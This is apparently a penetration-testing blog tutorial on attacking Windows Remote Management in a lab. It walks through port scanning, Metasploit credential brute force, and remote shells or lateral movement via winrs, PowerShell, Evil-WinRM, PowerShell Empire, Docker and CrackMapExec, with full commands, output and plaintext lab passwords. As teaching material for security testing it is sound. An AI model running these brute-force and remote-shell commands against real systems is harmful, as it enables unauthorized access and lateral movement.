WinRM Penetration Testing

June 12, 2020 By Raj Chandel

In this post, we will discuss all possible methods and tools used for WinRM penetration testing. Let's get deep into WinRM service and its security assessment and learn more. This attack can be performed locally (using windows client machine) and remotely (using Kali Linux).

Lab Setup

Windows Server 2016: 192.168.1.105

Windows 10 client: 192.168.106

Kali Linux: 192.168.1.112

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WinRM Service

WinRM is a command-line tool that enables administrators to remotely execute the CMD.exe commands using the WS-Management protocol. This specification describes a general SOAP-based protocol for managing systems such

as PCs, servers, devices, Web services, other applications, and other manageable entities. It port 5985 for HTTP transport and 5986 for HTTPS Transport.

On server and client versions of the Windows operating system, Enable-PSRemoting allows the administrator to access the remote shell using Powershell for private and domain networks through WinRM service.

History of WinRM

Versions 1.1 of Winrm have been found in Windows Vista and Windows Server 2008. Its versions 2.0 have been found in Windows 7 and Windows Server 2008 R2 and the latest version 3.0 is pre-installed in Windows 8 and Windows 2012 Server, but you need to enable it in Windows 10.

WinRM Configration

Configuring and installing WinRM is quite simple, but you only need to execute commands below that will enable WinRM on the server for trusted hosts. Here we have given the wildcard character (*) for all the machines on the network. This type of configuration cloud is a threat to the server because it allows any machine to connect to a server that knows the server's credential.

```
Enable-PSRemoting -force
winrm quickconfig -transport:https
Set-Item wsman:\localhost\client\trustedhosts *
Restart-Service WinRM
```

Note: WinrRM Service should be Enabled on both machine (Server and client)

Testing Connection

Now, with the help of the following command, we can check the server 's connectivity through any host machine on the network.

```
test-wsman -computername "WIN-S0V7KMTVLD2" test-wsman -computername "192.168.1.105"
```

As you can see, the version details of the protocol and the product have been revealed, so this shows that we are capable of connecting to the server.

```
wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 0.0.0 SP: 0.0 Stack: 3.0

PS C:\Users\yashika.IGNITE.000> test-wsman -computername "192.168.1.105"

wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 0.0.0 SP: 0.0 Stack: 3.0

PS C:\Users\yashika.IGNITE.000>
```

Lateral Movement-Locally

Connecting Server shell using CMD

As we know, WinRM is used to get a remote machine shell just like SSH, so if you have compromised an account or system that is a trusted host, you can access the server shell with the help of CMD. Here, first, we try to run the system command remotely using the server credential and execute the following command.

```
winrs -r:192.168.1.105 -u:ignite.local\administrator -p:Ignite@987 ipconfig
```

```
C:\Users\yashika.IGNITE.000\winrs -r:192.168.1.105 -u:ignite.local\administrator -p:Ignite@987 ipconfig
Windows IP Configuration

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix .:
    IPv4 Address. . . . . . . . . . 192.168.1.105
    Subnet Mask . . . . . . . . . . . . . 255.255.255.0
    Default Gateway . . . . . . . . . . . . . . . . . . 192.168.1.1

Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:
    Media State . . . . . . . . . . . . . . . Media disconnected
    Connection-specific DNS Suffix . :

Tunnel adapter Local Area Connection* 3:
    Media State . . . . . . . . . . . . . . . . Media disconnected
    Connection-specific DNS Suffix . :

C:\Users\yashika.IGNITE.000>___
```

Since we were able to run system command remotely thus, we try to access a remote shell with the help of the following command.

```
winrs -r:192.168.1.105 -u:ignite.local\administrator -p:Ignite@987 CMD
```

```
:\<u>Users\yashika.IGNITE.000</u>;winrs -r:192.168.1.105 -u:ignite.local\administrator -p:Ignite@987 cmd
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
::\Users\Administrator>dir 👍
Volume in drive C has no label.
Volume Serial Number is 1C84-81C0
Directory of C:\Users\Administrator
06/06/2020 08:24 AM
                       <DIR>
06/06/2020 08:24 AM
                       <DIR>
04/15/2020 05:27 AM
                       <DIR>
                                      Contacts
06/05/2020 10:53 AM
                       <DIR>
                                      Desktop
05/18/2020 01:39 PM
                      <DIR>
                                      Documents
06/01/2020 12:43 PM
                      <DIR>
                                      Downloads
04/15/2020 05:27 AM
                      <DIR>
                                     Favorites
04/15/2020 05:27 AM
                       <DIR>
                                     Links
04/15/2020 05:27 AM
                     <DIR>
                                     Music
04/15/2020 05:27 AM
                      <DIR>
                                      Pictures
04/15/2020 05:27 AM
                                     Saved Games
                      <DIR>
04/15/2020 05:27 AM
                      <DIR>
                                      Searches
                      <DIR>
04/15/2020 05:27 AM
                                      Videos
              0 File(s)
                                     0 bytes
             13 Dir(s) 42,851,508,224 bytes free
C:\Users\Administrator>
```

Connecting Remote shell using PowerShell

Just like a command prompt, you can also use PowerShell to remotely run arbitrary system commands and thus execute the following command through a compromised system.

Invoke-Command -ComputerName "192.168.1.105" -Credential workgroup\administrator -

As a result you can we have enumerated user details for the administrator account.

```
8.1.105" -Credential workgroup\administrator -Auther
PS C:\Users\yashika.IGNITE.000> Invoke-Command -ComputerName "192
tication Negotiate -Port 5985
                                ScriptBlock {net user administrator}
User name
                             Administrator
Full Name
Comment
                             Built-in account for administering the computer/domain
User's comment
Country/region code
                             000 (System Default)
Account active
                             Yes
Account expires
                             Never
Password last set
                             4/15/2020 5:26:40 AM
Password expires
                             Never
                             4/16/2020 5:26:40 AM
Password changeable
Password required
                             Yes
User may change password
                             Yes
Workstations allowed
                             Δ11
Logon script
User profile
Home directory
Last logon
                             6/6/2020 8:24:46 AM
Logon hours allowed
                             A11
Local Group Memberships
                             *Administrators
Global Group memberships
                                                   *Group Policy Creator
                             *Domain Users
                             *Domain Admins
                                                   *Schema Admins
                             *Enterprise Admins
The command completed successfully.
```

Similarly, you can use PSSession to get a remote shell with PowerShell, so we need to run the following and get a server shell.

Enter-PSSession -ComputerName 192.168.1.105 -Credential administrator

Lateral Movement- Remotely

Scanning

So, first, you need to scan the host IP in order to identify available ports for WinRM and Nmap is the best tool to do so.

```
nmap -p5985,5986 -sV 192.168.1.105
```

From its scan, we found that 5985 (HTTP) is available for unsecure WinRM connections and 5986 (HTTPS) is available for secure WinRM connections.

```
Starting Nmap -p5985,5986 -sV 192.168.1.105
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-06 13:44 EDT
Nmap scan report for 192.168.1.105
Host is up (0.00046s latency).

PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:0C:29:1F:07:D8 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Identify the WinRM Authentication Method

Further use can you Metasploit auxiliary to identify Authentication Method used by WinRM. This module sends a request to an HTTP/HTTPS service to see if it is a WinRM service. If it is a WinRM service, it also gathers the Authentication Methods supported.

```
use auxiliary/scanner/winrm/winrm_auth_methods
msf auxiliary(winrm_auth_methods) > set rhosts 192.168.1.105
```

```
msf5 > use auxiliary/scanner/winrm/winrm_auth_methods
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > set rhosts 192.168.1.105
rhosts ⇒ 192.168.1.105
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > exploit
[+] 192.168.1.105:5985: Negotiate protocol supported
[+] 192.168.1.105:5985: Kerberos protocol supported
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/winrm/winrm_auth_methods) >
```

WinRM Login Brute Force

This module attempts to authenticate to a WinRM service. It currently works only if the remote end allows Negotiate (NTLM) authentication. Kerberos is not currently supported. Please note: in order to use this module without SSL, the 'AllowUnencrypted' winrm option must be set. Otherwise, adjust the port and set the SSL options in the module as appropriate.

```
use auxiliary/scanner/winrm/winrm_login
msf auxiliary(scanner/winrm/winrm_login) > set rhosts 192.168.1.105
msf auxiliary(scanner/winrm/winrm_login) > set user_file /root/user.txt
msf auxiliary(scanner/winrm/winrm_login) > set pass_file /root/pass.txt
msf auxiliary(scanner/winrm/winrm_login) > set stop_on_success true
msf auxiliary(scanner/winrm/winrm_login) > exploit
```

As a result, it will try a valid combination of username and password and dump the output accordingly.

```
msf5 > use auxiliary/scanner/winrm/winrm_login
                                        ) > set rhosts 192.168.1.105
msf5 auxiliary(
rhosts ⇒ 192.168.1.105
                                       n) > set user_file /root/user.txt
msf5 auxiliary(
user_file ⇒ /root/user.txt
                                        ) > set pass_file /root/pass.txt
msf5 auxiliary(
pass_file ⇒ /root/pass.txt
                                        ) > set stop_on_success true
msf5 auxiliary(
stop_on_success ⇒ true
msf5 auxiliary(
   No active DB -- Credential data will not be saved!
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:pass (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:Password@1 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:Password@123 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:Ignite@987 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:Ignite@123 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:pass (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:Password@1 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:Password@123 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:Ignite@987 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:Ignite@123 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:pass (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:Password@1 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:Password@123 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:Ignite@987 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:Ignite@123 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:pass (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:Password@1 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:Password@123 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:Ignite@987 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:Ignite@123 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\administrator:pass (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\administrator:Password@1 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\administrator:Password@123 (Incorrect: )
[+] 192.168.1.105:5985 - Login Successful: WORKSTATION\administrator:Ignite@987
    Scanned 1 of 1 hosts (100% complete)
    Auxiliary module execution completed
msf5 auxiliarv(
```

Connect to Remote Shell through Ruby script

You can download the ruby script from GitHub that allow the Linux system to connect with Windows Protocol WinRM and provide the access of the PowerShell of the target machine. You can download it from here and add Target IP, username as well as password inside the download script then install WinRM in your local machine and execute the script.

```
gem install winrm
ruby winrm-shell.rb
```

As a result, you will get PowerShell access to the target machine as shown.

```
lli:∼# gem install winrm
Successfully installed winrm-2.3.4
Parsing documentation for winrm-2.3.4
Done installing documentation for winrm after 0 seconds
1 gem installed
       d:~# cat winrm-shell.rb
require 'winrm'
conn = WinRM::Connection.new(
 endpoint: 'http://192.168.1.105:5985/wsman',
 user: 'administrator',
 password: 'Ignite@987',
command=""
conn.shell(:powershell) do |shell|
   until command = "exit\n" do
       print "PS > "
       command = gets
       output = shell.run(command) do |stdout, stderr|
           STDOUT.print stdout
           STDERR.print stderr
       end
   end
   puts "Exiting with code #{output.exitcode}"
    |kali:~# ruby winrm-shell.rb -
PS > dir
PS > ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
  Connection-specific DNS Suffix .:
  Default Gateway . . . . . . . : 192.168.1.1
Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:
  Media State . . . . . . . . . : Media disconnected
  Connection-specific DNS Suffix
Tunnel adapter Local Area Connection* 3:
  Media State . . . . . . . . . : Media disconnected
  Connection-specific DNS Suffix .:
```

Connecting Remote Shell through Evil-WinRM

Now using evil-winrm we try to access remote machine shell by connecting through port 5985 open for winrm. In our previous article we have already discussed on Evil-Winrm and its usage, you can more about it from here.

```
evil-winrm -i 192.168.1.105 -u administrator -p 'Ignite@987'
```

As a result, it will give access to victim shell by providing its PowerShell as given below.

```
👫:~# evil-winrm -i 192.168.1.105 -u administrator -p 'Ignite@987'-
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
            PS C:\Users\Administrator\Documents> menu
              By: CyberVaca, OscarAkaElvis, Laox @Hackplayers
[+] Bypass-4MSI
 +] Dll-Loader
   Donut-Loader
[+] Invoke-Binary
   il-WinRM* PS C:\Users\Administrator\Documents> ipconfig 🚤
Windows IP Configuration
Ethernet adapter Ethernet0:
   Connection-specific DNS Suffix
   IPv4 Address. . . . . . . . . . : 192.168.1.105
   Subnet Mask . . . . . .
                                 . . : 255.255.255.0
   Default Gateway . . . .
                                 . . : 192.168.1.1
Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:
   Media State . . . . .
                              . . . : Media disconnected
   Connection-specific DNS Suffix
Tunnel adapter Local Area Connection* 3:
                               . . . : Media disconnected
   Media State . . . . . . .
   Connection-specific DNS Suffix
             PS C:\Users\Administrator\Documents>
```

Connecting Remote Shell through PowerShell Empire

Once you've compromised the host machine using the empire, as we've done here. Using Powershell Empire, you can perform post-exploitation to access the server shell via the client machine using the WinRM service.

```
(Empire: listeners) > agents
[*] Active agents:
          La Internal IP
                                                                                            PID
                                                                                                   Delay
 Name
                             Machine Name
                                                Username
                                                                         Process
                              _____
                                                                         _____
 1MA7NT4R ps 192.168.1.106
                                                IGNITE\yashika
                                                                                            6968
                                                                                                   5/0.0
                             CLIENT1
                                                                         powershell
(Empire: agents) > interact 1MA7NT4R
(Empire: 1MA7NT4R) > info
[*] Agent info:
        id
                                 1
                                 1MA7NT4R
        session_id
        listener
                                 http
                                 1MA7NT4R
                                 powershell
        language_version
                                 5
        delay
                                 5
                                 0.0
        external_ip
                                 192.168.1.106
        internal_ip
                                 192.168.1.106
                                 IGNITE\yashika
        username
        high_integrity
                                 powershell
        process_name
        process_id
                                 6968
        hostname
                                CLIENT1
        os_details
                                Microsoft Windows 10 Pro
        session_key
                                 R;2K|uG^olq*t!?v}9nyDQxTWs=0,VOj
                                 9779462265600831
        checkin_time
                                 2020-06-06 14:31:52
        lastseen_time
                                 2020-06-06 14:32:18
                                 None
        parent
        children
                                 None
        servers
                                 None
                                 /admin/get.php,/news.php,/login/process.php Mozilla/5.0 (Windows NT
        profile
                                 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        kill_date
        working_hours
                                 60
        lost_limit
                                 None
(Empire: 1MA7NT4R) >
```

```
usemodule lateral_movement/invoke_psremoting
set Listener http
set ComputerName 192.168.1.105
set UserName administrator
set Password Ignite@987
execute
```

And finally! We got the shell of the server through client machine.

```
) > usemodule lateral_movement/invoke_psremoting
(Empire: powershell/lateral_movement/invoke_psremoting) > set Listener http
(Empire: powershell/lateral_movement/invoke_psremoting) > set ComputerName 192.168.1.105
(Empire: powershell/lateral_movement/invoke_psremoting) > set UserName administrator
(Empire: powershell/lateral_movement/invoke_psremoting) > set Password Ignite@987
(Empire: powershell/lateral_movement/invoke_psremoting) > execute
[*] Tasked 1MA7NT4R to run TASK_CMD_WAIT
[*] Agent 1MA7NT4R tasked with task ID 1
[*] Tasked agent 1MA7NT4R to run module powershell/lateral_movement/invoke_psremoting
(Empire: powershell/lateral_movement/invoke_psremoting) >
[*] Sending POWERSHELL stager (stage 1) to 192.168.1.105
[*] New agent XYEB7F6L checked in
[+] Initial agent XYEB7F6L from 192.168.1.105 now active (Slack)
[*] Sending agent (stage 2) to XYEB7F6L at 192.168.1.105
(Empire: powershell/lateral_movement/invoke_psremoting) > agents
[*] Active agents:
 Name
          La Internal IP
                              Machine Name
                                                  Username
                                                                           Process
 1MA7NT4R ps 192.168.1.106
                               CLIENT1
                                                  IGNITE\yashika
                                                                           powershell
                                                  *IGNITE\Administrator
 XYEB7F6L ps 192.168.1.105
                              WIN-SØV7KMTVLD2
                                                                           powershell
(Empire: agents) > interact XYEB7F6L
(Empire: XYEB7F6L) > info
[*] Agent info:
        id
                                  XYEB7F6L
        session_id
                                  http
        listener
                                  XYEB7F6L
        language
                                  powershell
        language_version
        delay
                                  5
        jitter
                                  0.0
        external_ip
                                  192.168.1.105
                                  192.168.1.105
        internal_ip
        username
                                  IGNITE\Administrator
        high_integrity
                                  powershell
        process_name
        process_id
                                 3560
        hostname
                                 WIN-SØV7KMTVLD2
        os_details
                                  Microsoft Windows Server 2016 Standard Evaluation
                                  \delta 0P3`BF{)H--YN;%?r~U}k \neq Vxt/ZXv4
        session_key
                                  0264811606473456
        checkin_time
                                  2020-06-06 14:35:15
                                  2020-06-06 14:35:41
        lastseen_time
        parent
                                  None
        children
                                  None
                                  None
        servers
                                  /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (W
        profile
                                  6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        kill date
```

Connecting Remote Shell through Docker

Docker image of PowerShell with NTLM support to allow for PS-Remoting from Linux to Windows, hence we can use this to access the shell of the server by executing following command.

```
docker run -it quickbreach/powershell-ntlm
```

Once it will install the docker image, you will get the session for login credential as shown below in the image. As soon as you will enter the server login it will give a shell of the server.

```
i:~# docker run -it quickbreach/powershell-ntlm
Unable to find image 'quickbreach/powershell-ntlm:latest' locally
latest: Pulling from quickbreach/powershell-ntlm
aeb7866da422: Pull complete
4e1916f27c9f: Pull complete
2011ef2c2dfb: Pull complete
43e50d384a14: Pull complete
9b8c213e2ea6: Pull complete
580adfdbbe6e: Pull complete
e6ec163021cb: Pull complete
Digest: sha256:81cb6748bbf055f65de83f62d91e924d9ff674b9a9223ad6e02c425db12b6a32
Status: Downloaded newer image for quickbreach/powershell-ntlm:latest
PowerShell 6.1.1
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /> $creds = Get-Credential
PowerShell credential request
Enter your credentials.
User: administrator
Password for user administrator: ********
PS /> Enter-PSSession -ComputerName 192.168.1.105 -Authentication Negotiate -Credential $creds-
[192.168.1.105]: PS C:\Users\Administrator\Documents> dir
[192.168.1.105]: PS C:\Users\Administrator\Documents> ipconfig .
Windows IP Configuration
Ethernet adapter Ethernet0:
   Connection-specific DNS Suffix .:
   IPv4 Address. . . . . . . . . : 192.168.1.105
   Default Gateway . . . . . . . . : 192.168.1.1
Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:
   Media State . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix .:
Tunnel adapter Local Area Connection* 3:
   Media State . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix .:
[192.168.1.105]: PS C:\Users\Administrator\Documents>
```

Connecting Remote Shell through Crackmapexec

Now using Crackmapexec we try to execute arbitrary system command remotely by connecting through port 5985 open for winrm. In our previous article we have already discussed on Crackmapexec and its usage, you can more about it from here.

```
crackmapexec winrm 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x ipconfig
```

As a result, it gives the output for request command as shown.

```
:~# crackmapexec winrm 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x ipconfig
                            5986 WIN-S0V7KMTVLD2 [*] https://192.168.1.105:5986/wsman
WINRM
            192.168.1.105
                            5986
                                 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
WINRM
            192.168.1.105
WINRM
            192.168.1.105
                            5986
                                   WIN-S0V7KMTVLD2 [+] Executed command
            192.168.1.105
                            5986 WIN-SØV7KMTVLD2
Windows IP Configuration
Ethernet adapter Ethernet0:
   Connection-specific DNS Suffix .:
  Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:
   Media State . . . . . . . . : Media disconnected Connection-specific DNS Suffix . :
Tunnel adapter Local Area Connection* 3:
   Media State . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . :
```

Reference: https://docs.microsoft.com/en-us/windows/win32/winrm/about-windows-remote-management